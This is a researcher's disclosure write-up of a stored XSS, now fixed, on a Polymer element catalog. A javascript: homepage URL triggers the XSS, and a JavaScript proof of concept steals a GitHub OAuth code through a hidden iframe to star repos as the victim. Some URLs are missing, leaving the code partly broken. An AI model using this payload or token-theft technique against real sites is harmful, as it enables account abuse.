Liking GitHub repositories on behalf of other users — Stored XSS in



Steps to reproduce:

1. Create a Polymer element and publish it to github
2. Set the repo homepage URL to: javascript:alert(document.domain)
3. Publish it via
4. Go to the element’s page and click the homepage link




What can you do with this XSS:

It’s possible if the user has authenticated using github on before, to get the github auth code and use it to star any public github repo behalf of the user.

It would work like this:

  • create an iframe with the github auth URL, and if the user is already authenticated, it redirects us to and it will have the auth code in the url as ?code=123 (and we can access the iframe cause it’s the same domain)
  • use the code to post a request to‘s api to star a github repo using the user’s account


Here’s an example:

// create an iframe with github authorization url
// that redirects us back to
var iframe;
iframe = document.createElement('iframe');
iframe.src = ''; = 'none';

// just wait some time till it's loaded and redirected
setTimeout(() => {
  // get the url that contains the authorization code from the iframe
  var url = new URL(iframe.contentWindow.location.href);
  var code = url.searchParams.get("code");

  // the github repo we want to star
  var repo_to_star = 'kelseyhightower/nocode';

  // make a post request using the code
  fetch('/api/star/' + repo_to_star + '?code=' + code, {
    method: 'POST'

}, 5000);



12.08.2018: XSS reported
16.08.2018: Added more info
20.08.2018: Accepted
22.08.2018: Fixed

< back to the list of web vulns
Follow me on Twitter: @ThomasOrlita

Leave a Reply